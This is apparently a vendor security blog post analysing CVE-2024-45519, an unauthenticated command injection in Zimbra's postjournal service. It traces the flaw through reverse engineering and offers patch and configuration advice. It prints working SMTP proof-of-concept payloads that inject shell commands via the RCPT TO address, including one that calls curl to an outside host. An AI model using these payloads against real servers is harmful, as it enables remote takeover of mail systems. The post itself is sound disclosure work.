Zimbra, a widely used email and collaboration platform, recently released a critical security update addressing a severe vulnerability in its postjournal
service. This vulnerability, identified as CVE-2024-45519, allows unauthenticated attackers to execute arbitrary commands on affected Zimbra installations. In this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually. We also discuss the potential impact and emphasize the importance of timely patch application.
What's in the Patch?
We discovered that Zimbra uses the S3 bucket s3://repo.zimbra.com
to host both packages and patches. Fortunately, the bucket had a public listing, which allowed us to locate the necessary patch.
To begin our analysis, we obtained the patched version of the postjournal
binary from the latest Zimbra patch package: Zimbra Patch Package
By extracting the .deb
file, we retrieved the patched postjournal
binary located at ./opt/zimbra/lib/patches/postjournal
.
Instead of performing a binary diff, we opted for a quicker approach by reversing the binary using Ghidra. We searched for critical functions such as system
and exec*
and discovered a function named run_command
. This function was referenced by read_maps
, prompting us to examine read_maps
and trace its references up to the main
function.
We established the following method call hierarchy:
main
└── msg_handler(MSG *msg)
└── expand_addrs
└── address_lookup
└── map_address
└── read_addr_maps
└── read_maps
└── run_command
└── execvp
In the patched version, execvp
is used, and user input is passed as an array, which prevents direct command injection. Additionally, we noticed the introduction of an is_safe_input
function that sanitizes the input before it's passed to execvp
. We examined this function to identify any special characters that might lead to command injection.
int is_safe_input(char *input) {
if (input == NULL || *input == '\0') {
return 0;
}
for (char *c = input; *c != '\0'; c++) {
if (*c == ';' || *c == '&' || *c == '|' || *c == '`' || *c == '$' ||
*c == '(' || *c == ')' || *c == '<' || *c == '>' || *c == '\\' ||
*c == '\'' || *c == '\"' || *c == '\n' || *c == '\r') {
return 0;
}
}
return 1;
}
Diffing Binaries
To understand the vulnerability in the unpatched version, we obtained the original software: Unpatched Zimbra Package
We set up this version on our test server and reversed the postjournal
binary. Surprisingly, we found that there were no calls to execvp
or a function named run_command
. Instead, in the read_maps
function, a direct call to popen
was made, passing a string constructed with our input without any sanitization.
Walkthrough of the postjournal Binary
Inside the main
function, when an SMTP connection is initiated, the msg_handler
function is called, which in turn processes the MSG
object.
The msg_receiver
function calls the msg_handler
function which extracts the recipient addresses from the RCPT TO:<...>
SMTP command which is stored in msg->rcpt_addresses
variable. The value of msg->rcpt_addresses
is set inside msg_receiver
by the function rcpt_to_handler
.
Then the expand_addrs
function is called with these addresses.
Inside expand_addrs
, the address_lookup
function is invoked with the same addresses.
Inside the address_lookup
function, the map_address
function is called.
This leads to read_addr_maps
, which eventually calls read_maps
.
Within read_maps
, a command string is constructed using a format string that includes the user-provided address.
Finally, popen
is called with the constructed command string, directly using our input.
Dynamic Binary Analysis via GDB
Based on our static analysis, we believed the following SMTP message should result in command injection on the postjournal service running on port 10027 (on loopback interface)
EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb;touch${IFS}/tmp/pwn;"@mail.domain.com>
DATA
aaa
.
To validate our findings, we set a breakpoint in GDB at read_maps
and then just before the popen
call in read_maps
.
We inspected the cmd
argument passed to popen
:
Notably, the cmd
argument is enclosed in double quotes, which would prevent successful command injection using simple shell metacharacters. However, we realised that this could be bypassed using the $()
syntax.
We crafted our input to exploit this:
As a result, we successfully executed arbitrary commands, confirming the creation of the /tmp/pwn
file.
Proof of Concept (PoC)
We tested the exploit directly on the postjournal
service via port 10027
using the following SMTP commands:
EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
DATA
Test message
.
Enabling postjournal and Exploiting via SMTP
Testing the exploit on port 10027
worked as expected. However, when attempting the same exploit over SMTP port 25
, it was initially unsuccessful.
After some investigation, we discovered that the postjournal
service is not enabled by default. To enable it, we executed:
zmlocalconfig -e postjournal_enabled=true
zmcontrol restart
With postjournal
enabled, we reran our exploit against SMTP port 25
and observed successful command execution. Initially, we conducted this test on our own Zimbra server for proof of concept. However, when attempting to exploit the vulnerability remotely over the internet, we faced failures.
Limitations
Upon reviewing the logs, we noticed that the RCPT address was being rejected due to the smtpd_relay_restrictions
setting in postconf
, which defaults to:
smtpd_relay_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination
This configuration allows sending mail only if the client is authenticated or if the client is within the mynetworks
list. Our initial PoC worked internally because we were connecting from the server itself.
We checked the mynetworks
setting:
postconf mynetworks
The output revealed:
mynetworks = 127.0.0.0/8 [::1]/128 <Public IP>/20 10.47.0.0/16 10.122.0.0/20
Surprisingly, on our instance,the default configuration included a /20
CIDR range of our public IP address in mynetworks
. This means that the exploit could still be performed remotely if the postjournal
service is enabled and the attacker is within the allowed network range.
Automating vulnerability detection with Nuclei
This Remote Command Injection vulnerability can be identified by utilizing the below Nuclei template:
We've also created a pull request to include this template in the public nuclei-templates
GitHub repository.
Conclusion
Our analysis of CVE-2024-45519 highlights a critical vulnerability in Zimbra's postjournal
service that allows unauthenticated remote command execution. The vulnerability stems from unsanitized user input being passed to popen
in the unpatched version, enabling attackers to inject arbitrary commands.
While the patched version introduces input sanitization and replaces popen
with execvp
, mitigating direct command injection, it's crucial for administrators to apply the latest patches promptly. Additionally, understanding and correctly configuring the mynetworks
parameter is essential, as misconfigurations could expose the service to external exploitation.
We strongly recommend that all Zimbra administrators:
- Verify that
postjournal
is disabled if not required. - Ensure that
mynetworks
is correctly configured to prevent unauthorised access. - Apply the latest security updates provided by Zimbra.
By staying vigilant and proactive, organisations can protect themselves against such critical vulnerabilities and maintain the security of their email and collaboration platforms.
By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.